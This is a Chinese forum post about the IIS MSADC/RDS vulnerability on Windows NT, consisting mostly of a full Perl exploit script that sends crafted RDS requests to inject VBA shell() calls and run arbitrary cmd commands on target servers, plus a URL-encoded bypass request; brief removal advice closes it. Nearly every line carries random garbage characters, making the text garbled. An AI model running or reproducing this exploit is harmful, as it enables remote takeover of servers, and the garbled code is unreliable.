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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) )gIKH{JYL  
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涉及程序: L|:`^M+^w  
Microsoft NT server I\{ 1u  
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描述: 9'giU r  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 W=><)miQ@  
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详细: y/cvQY0pU  
如果你没有时间读详细内容的话,就删除: c /HHy,  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ?k&Vy  
有关的安全问题就没有了。 L:j<c5  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,X-bJA@(  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 2!m/  
关于利用ODBC远程漏洞的描述,请参看: $?Hu#Kn,(  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm jyUjlYAAv`  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 3g,`.I_  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp dI(@ZV{  
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这里不再论述。 jh%Eq+#S  
2d #1=+V  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: KNvZm;Q6  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ^A$Zw+P  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! O7m(o:t x3  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" -`kW&I0  
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#!perl feDlH[$  
# RQ'9m^  
# MSADC/RDS 'usage' (aka exploit) script {yHCXFWlS  
# XK3tgaH  
# by rain.forest.puppy XkE`U5.  
# g0=z&2Q[_)  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me xQ-<WF1i  
# beta test and find errors! B$fPgW-  
KE5kOU;  
use Socket; use Getopt::Std; Q:G4Z9Kt  
getopts("e:vd:h:XR", \%args); (ylTp]~mR-  
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print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; !Y0Vid  
9k '7832u  
if (!defined $args{h} && !defined $args{R}) { 30#s aGV  
print qq~ /tx]5`#@7]  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ;~ )5s'  
-h <host> = host you want to scan (ip or domain) XH4  
-d <seconds> = delay between calls, default 1 second %+W{iu[|  
-X = dump Index Server path table, if available |^"1{7)  
-v = verbose |P HT694Uz  
-e = external dictionary file for step 5 f;o5=)Y  
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Or a -R will resume a command session A Ru2W1g  
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~; exit;} en4k/w_  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; |}s*E_/[  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} b.JuI  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} VK\X&Y3l  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); jKAEm  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} DZ'P@f)]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } {0Yf]FQb-a  
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if (!defined $args{R}){ $ret = &has_msadc; dC3o9  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Z*]9E^  
8yR.uMI$/  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" <sGVR5NR  
. "cmd /c "; Db}j?ik/  
$in=<STDIN>; chomp $in; ;40/yl3r3[  
$command="cmd /c " . $in ; Fx_z6a  
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if (defined $args{R}) {&load; exit;} ]3],r?-tJ  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; VX0 %a@ur  
&try_btcustmr; WTQ\PANAaR  
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print "\nStep 2: Trying to make our own DSN..."; jP$a_hW  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; p SH=%u>  
.=7vI$ujd  
print "\nStep 3: Trying known DSNs..."; Mlg0WrJ|2  
&known_dsn;  L2[($l  
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print "\nStep 4: Trying known .mdbs..."; ` xEx^P^7  
&known_mdb; 7?!d^$B  
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if (defined $args{e}){  c(f  
print "\nStep 5: Trying dictionary of DSN names..."; T?CdZc.  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } F`9xVnK=  
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print "Sorry Charley...maybe next time?\n"; Af~$TyX  
exit; t:x\kp  
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############################################################################## ~~/|dh5  
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sub sendraw { # ripped and modded from whisker \$~|ZwV{  
sleep($delay); # it's a DoS on the server! At least on mine... \g&,@'uh  
my ($pstr)=@_; [B*x-R[FI  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || HTv2#  
die("Socket problems\n"); }<0BX\@I  
if(connect(S,pack "SnA4x8",2,80,$target)){ }^ ~F|  
select(S); $|=1; !I{0 _b{  
print $pstr; my @in=<S>; @|Cz-J;D  
select(STDOUT); close(S); hn7# L  
return @in; #'nr Er <  
} else { die("Can't connect...\n"); }} P+ 3G~Sr  
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############################################################################## J\} twYty  
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sub make_header { # make the HTTP request hlvK5Z   
my $msadc=<<EOT Jc&{`s^Nu  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Fj8z  
User-Agent: ACTIVEDATA xA2YG|RU=b  
Host: $ip EqkN3%IG  
Content-Length: $clen c)6m$5]  
Connection: Keep-Alive ^KnU4sD  
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ADCClientVersion:01.06 kUL' 1!j7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 RtkEGxw*^  
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--!ADM!ROX!YOUR!WORLD! WH#1 zv  
Content-Type: application/x-varg > ym,{EHK  
Content-Length: $reqlen rQ{7j!Im  
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EOT &)# ihK_  
; $msadc=~s/\n/\r\n/g; b"<liGh"n-  
return $msadc;} /e5O"@  
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############################################################################## IEL%!RFG  
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sub make_req { # make the RDS request [t m_Mg  
my ($switch, $p1, $p2)=@_; .Bl\Z  
my $req=""; my $t1, $t2, $query, $dsn; XFVE>/H  
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if ($switch==1){ # this is the btcustmr.mdb query v|)4ocFK  
$query="Select * from Customers where City=" . make_shell(); 1W c=5!  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . nK1Slg#U  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} >mbHy<<  
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elsif ($switch==2){ # this is general make table query k$^UUo6  
$query="create table AZZ (B int, C varchar(10))"; V@.Ior}w  
$dsn="$p1";} ih-#5M@  
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elsif ($switch==3){ # this is general exploit table query >jDDQ@  
$query="select * from AZZ where C=" . make_shell(); l5Uiw2  
$dsn="$p1";} <`8n^m*  
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elsif ($switch==4){ # attempt to hork file info from index server %?1ew  
$query="select path from scope()"; rK 8lBy:<  
$dsn="Provider=MSIDXS;";} XW 2b|%T  
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elsif ($switch==5){ # bad query ].avItg  
$query="select"; <)C#_w)-  
$dsn="$p1";} j7Yu>cr  
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$t1= make_unicode($query); Q^P}\wb>  
$t2= make_unicode($dsn); nUaJzPl  
$req = "\x02\x00\x03\x00"; S3C]AhW;  
$req.= "\x08\x00" . pack ("S1", length($t1)); )rIwqUgp6\  
$req.= "\x00\x00" . $t1 ; j.[.1G*("  
$req.= "\x08\x00" . pack ("S1", length($t2)); zF`0J  
$req.= "\x00\x00" . $t2 ; >.Pnkx*  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; L8@f-Kk  
return $req;} c`)\Pb/O  
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############################################################################## MVpGWTH@F  
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sub make_shell { # this makes the shell() statement u4cnE"  
return "'|shell(\"$command\")|'";} &C5_g$Ma.Z  
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############################################################################## +zqn<<9  
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sub make_unicode { # quick little function to convert to unicode SBu"3ym  
my ($in)=@_; my $out; 4!{KWL`A  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } n1ZbRV  
return $out;} (!u~CZ;  
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############################################################################## ^ 'MT0j  
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sub rdo_success { # checks for RDO return success (this is kludge) .|KyNBn  
my (@in) = @_; my $base=content_start(@in); 1/B>XkCJ  
if($in[$base]=~/multipart\/mixed/){ kM l+yli3c  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} G<z wv3  
return 0;} EmWn%eMN  
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############################################################################## f3l&3hC  
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sub make_dsn { # this makes a DSN for us zy?|ODM  
my @drives=("c","d","e","f"); 3@_xBz,I.  
print "\nMaking DSN: "; 0(}t8lc  
foreach $drive (@drives) { f].h^ ~.q  
print "$drive: "; PA{PD.4Du  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . dw>C@c#"  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 2 0h} [Q(  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 4&lv6`G `  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; D(op)]8  
return 0 if $2 eq "404"; # not found/doesn't exist GRIti9GD  
if($2 eq "200") { H064BM  
foreach $line (@results) { /|m2WxK)  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} S&5&];Ag  
} return 0;} ];$L &5^  
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############################################################################## XAKs0*J>  
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sub verify_exists { ;vR4XHl|  
my ($page)=@_; 5J.bD)yrP  
my @results=sendraw("GET $page HTTP/1.0\n\n"); #6aW9GO  
return $results[0];} 4}baSV  
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############################################################################## w>&aEv/f  
q s!j>x  
sub try_btcustmr { ' ,wFTV&  
my @drives=("c","d","e","f"); yNJ B oar  
my @dirs=("winnt","winnt35","winnt351","win","windows"); gnf8 l?M  
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foreach $dir (@dirs) { lN 4oW3QT  
print "$dir -> "; # fun status so you can see progress tmYz R%i  
foreach $drive (@drives) { y3Qsv  
print "$drive: "; # ditto ha<[b ue  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 1Faf$J~7|  
$reqlenlen=length( "$reqlen" ); @Ns Qd_e  
$clen= 206 + $reqlenlen + $reqlen; u(.e8~s8  
@Sn(lnlB  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); z=\&i\>;Z+  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} j?\Qh  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} vkV0On  
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############################################################################## *!t/"b  
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sub odbc_error { ;u ({\K  
my (@in)=@_; my $base; Zd%k*BC  
my $base = content_start(@in); =%K;X\NB  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this zV37$Hb  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :gibfk]C  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /)>3Nq4Zx  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; / &5,3rU.G  
return $in[$base+4].$in[$base+5].$in[$base+6];} "Qc7dRmSxm  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; [#vH'y  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . #$07:UJ  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} B)g[3gQ  
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############################################################################## Tn e4  
qOtgve`jX  
sub verbose { :6 R\OeH+  
my ($in)=@_; `wEb<H  
return if !$verbose; 20h, ^  
print STDOUT "\n$in\n";} .f2bNnB~pP  
Af2( 5]  
############################################################################## e{K 215  
;7V%#-  
sub save { 7t0=[i  
my ($p1, $p2, $p3, $p4)=@_; bl;1i@Z*M  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 8C:z"@o  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; I-*S&SiXjI  
close OUT;} B hGu!Y6f  
5r|,CQ7o  
############################################################################## OX!tsARC@  
n5NsmVW\x  
sub load { ES7>H  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; -<!NXm|kvz  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); }B+C~@j  
@p=<IN>; close(IN); x~~|.C ,  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); P l]O\vh  
$target= inet_aton($ip) || die("inet_aton problems"); 5c0 ZRV#  
print "Resuming to $ip ..."; \ :sUL!  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Qd$nH8EDY  
if($p[1]==1) { Ya"a`ozq  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; =s2*H8]  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; osAd1<EIC  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); f}f9@>.  
if (rdo_success(@results)){print "Success!\n";} sIGMA$EK  
else { print "failed\n"; verbose(odbc_error(@results));}} K7:)nv E  
elsif ($p[1]==3){ -;m0R  
if(run_query("$p[3]")){ l<LI7Z]A  
print "Success!\n";} else { print "failed\n"; }} AJ`h9 %B  
elsif ($p[1]==4){ BM .~ 5\  
if(run_query($drvst . "$p[3]")){ JIOR4'9  
print "Success!\n"; } else { print "failed\n"; }} $ @`V  
exit;} .j0$J\:i  
ChPmX+.i_  
############################################################################## Be2DN5)  
.}TZxla0Zr  
sub create_table { )'#A$ Fj  
my ($in)=@_; WlC:l  
$reqlen=length( make_req(2,$in,"") ) - 28; f+,qNvBY/  
$reqlenlen=length( "$reqlen" ); [!#L6&:a8  
$clen= 206 + $reqlenlen + $reqlen; '8H4shYg  
my @results=sendraw(make_header() . make_req(2,$in,"")); X51:  
return 1 if rdo_success(@results); Fj3a.'  
my $temp= odbc_error(@results); verbose($temp); /]Md~=yNp  
return 1 if $temp=~/Table 'AZZ' already exists/; h2]P]@nW;W  
return 0;} xj;H&swo  
~IBP|)WA-  
############################################################################## MaQqs=  
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sub known_dsn { @,7GaK\  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Ai?*s%8v  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ,Uqs1#r  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", joAv{Tc  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); f+)L#>Gl?  
C1n>M}b  
foreach $dSn (@dsns) { 04P}-L,  
print "."; ,j_i?Ff  
next if (!is_access("DSN=$dSn")); !``,gExH  
if(create_table("DSN=$dSn")){ u^I|T.w<r6  
print "$dSn successful\n"; j-}O0~Jz  
if(run_query("DSN=$dSn")){ 29] G^f>  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { e2oa($9  
print "Something's borked. Use verbose next time\n";}}} print "\n";} oY3;.;'bk  
O;jrCB  
############################################################################## aSQ#k;T[  
$Sip$\+*  
sub is_access { `kXs;T6&  
my ($in)=@_; y/7\?qfTk  
$reqlen=length( make_req(5,$in,"") ) - 28; \?k'4rH  
$reqlenlen=length( "$reqlen" ); %XQ(fj>  
$clen= 206 + $reqlenlen + $reqlen; -zeG1gr3  
my @results=sendraw(make_header() . make_req(5,$in,"")); Jk n>S#SZ  
my $temp= odbc_error(@results); G<J?"oQbRT  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 16(QR-  
return 0;} AH7}/Rc  
7.j?U  
############################################################################## Fq<A  
V&2l5v  
sub run_query { 2eY_%Y0  
my ($in)=@_; jLm ;ty2;  
$reqlen=length( make_req(3,$in,"") ) - 28; .[OUI  
$reqlenlen=length( "$reqlen" ); MKi0jwJM  
$clen= 206 + $reqlenlen + $reqlen; 2uW; xfeY  
my @results=sendraw(make_header() . make_req(3,$in,"")); 0IBSRFt$g&  
return 1 if rdo_success(@results); (iX+{a%"  
my $temp= odbc_error(@results); verbose($temp); aeM+ d`f  
return 0;} P}^W)@+3k  
c-6?2\]j@  
############################################################################## =X:Y,?  
E*K;H8}s  
sub known_mdb { 0~/_|?]`7  
my @drives=("c","d","e","f","g"); 7[XRd9a5(  
my @dirs=("winnt","winnt35","winnt351","win","windows"); +\ .Lp 5  
my $dir, $drive, $mdb; Qe:seW  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; :':s@gqr  
9qzHS~l  
# this is sparse, because I don't know of many WW~sNC\3`(  
my @sysmdbs=( "\\catroot\\icatalog.mdb", p}~JgEE  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ;[OH(!  
"\\system32\\certmdb.mdb", i<Zc"v;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% [sj osV  
4!no~ $b  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ~=l;=7 T  
"\\cfusion\\cfapps\\forums\\forums_.mdb", {_p_%;  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", A$0fKko  
"\\cfusion\\cfapps\\security\\realm_.mdb", V {ddr:]4  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Dp-z[]})1  
"\\cfusion\\database\\cfexamples.mdb", ]Q)OL  
"\\cfusion\\database\\cfsnippets.mdb", F{;((VboN  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", TKmf+ZT*r  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", -k e's  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 'zuIBOH`j3  
"\\cfusion\\database\\smpolicy.mdb", 1\2no{Vh  
"\\cfusion\\database\cypress.mdb", >U27];}y  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", .p" xVfi6  
"\\website\\cgi-win\\dbsample.mdb", $DaNbLV  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", r52gn(,  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 6mxfLlZ  
); #these are just ,R* ]>'  
foreach $drive (@drives) { p6!x=cW  
foreach $dir (@dirs){ sS'm!7*(3  
foreach $mdb (@sysmdbs) { VTY 5]|;  
print "."; .Vvx,>>D  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ R(G7m@@{  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ,(^*+G.i  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ope^~+c~\  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ~dTrf>R8M  
} else { print "Something's borked. Use verbose next time\n"; }}}}} x7<K<k;s  
M gi,$H  
foreach $drive (@drives) { @Z:l62l=bE  
foreach $mdb (@mdbs) { 6A+nS=  
print "."; mtcw#D  
if(create_table($drv . $drive . $dir . $mdb)){ T!)(Dv8@F  
print "\n" . $drive . $dir . $mdb . " successful\n"; PIS2Ed]  
if(run_query($drv . $drive . $dir . $mdb)){ -k"/X8  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; P8/0H(,  
} else { print "Something's borked. Use verbose next time\n"; }}}} '3^'B0 3  
} *_\_'@1|J)  
Yufc{M00  
############################################################################## >e5 qv(y]  
U0P~  
sub hork_idx { 1f=gYzuO)  
print "\nAttempting to dump Index Server tables...\n"; ":QZy8f9%  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; TJXT-\Vk  
$reqlen=length( make_req(4,"","") ) - 28; CryBwm  
$reqlenlen=length( "$reqlen" ); LsU9 .  
$clen= 206 + $reqlenlen + $reqlen; bdE[;+58  
my @results=sendraw2(make_header() . make_req(4,"","")); ZyFjFHe+  
if (rdo_success(@results)){ z1X`o  
my $max=@results; my $c; my %d; ^v7gIC  
for($c=19; $c<$max; $c++){ 5">Z'+8  
$results[$c]=~s/\x00//g; D_zZXbNc  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; suDQ~\ n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; R.yvjPwJ  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; V+9 MoT?8  
$d{"$1$2"}="";} CB}2j  
foreach $c (keys %d){ print "$c\n"; } SSMHoJGm  
} else {print "Index server doesn't seem to be installed.\n"; }} J)p l|I  
@_}P-h  
############################################################################## r$s Qf&=  
;vjOUn[E  
sub dsn_dict { V1B5w_^>h'  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); p9{mS7R9T  
while(<IN>){ >(t6.=  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 89(Q1R ?:  
next if (!is_access("DSN=$dSn")); &\*(Q*2N  
if(create_table("DSN=$dSn")){ d5:c^`  
print "$dSn successful\n"; j*r{2f4Rt  
if(run_query("DSN=$dSn")){ m^;f(IK5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { c(s.5p ^  
print "Something's borked. Use verbose next time\n";}}} xMG~N`r  
print "\n"; close(IN);} T{[=oH+  
WCixKYq  
############################################################################## ] >E s4 s  
<frutU16\  
sub sendraw2 { # ripped and modded from whisker ; kI134i=  
sleep($delay); # it's a DoS on the server! At least on mine... ge8ZsaiU  
my ($pstr)=@_; amY!qg0P*  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || {&1/V  
die("Socket problems\n"); 4^|3TntO  
if(connect(S,pack "SnA4x8",2,80,$target)){ svH !1 b  
print "Connected. Getting data"; 'm kLCS  
open(OUT,">raw.out"); my @in; II{&{S'HU  
select(S); $|=1; print $pstr; Qd3 j%(  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Wg]Qlw`\|  
close(OUT); select(STDOUT); close(S); return @in; I51@QJX  
} else { die("Can't connect...\n"); }} NqWdRU  
nZYBE030  
############################################################################## /f;~X"!  
t;\Y{`  
sub content_start { # this will take in the server headers XU(eEnmo m  
my (@in)=@_; my $c; gc$l^`+M  
for ($c=1;$c<500;$c++) { JDT`C2-Q  
if($in[$c] =~/^\x0d\x0a/){ HLG"a3tt  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 61'XgkacDS  
else { return $c+1; }}} r mg}N  
return -1;} # it should never get here actually 7J<5f)  
-e:`|(Mo  
############################################################################## P\k# >}}  
iGB}Il)  
sub funky { c\AfaK^KF  
my (@in)=@_; my $error=odbc_error(@in); ;u)I\3`*!  
if($error=~/ADO could not find the specified provider/){ Jdj4\j u  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; [Z$[rOF  
exit;} #S"nF@   
if($error=~/A Handler is required/){ *gWwALGo5  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?.BC#S)q1  
exit;} p0vVkdd  
if($error=~/specified Handler has denied Access/){ ?gGHj-HYJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; :"/d|i`T  
exit;}} G" "ZI$`  
f%}xO+.s  
############################################################################## s?nR 4  
(<C3Vts))  
sub has_msadc { U # qK.  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); pZy~1L  
my $base=content_start(@results); @~a%/GQ#n*  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); TarY|P7_  
return 0;} 1iF1GkLEq  
pYf-S?Y/V  
######################## =D"#U#>;7&  
{R `[kt  
P~X2^bw  
解决方案: EXqE~afm2  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll }0Ed ]  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 $ $mV d+  
X#^[<5  
拿出来充数 哈哈
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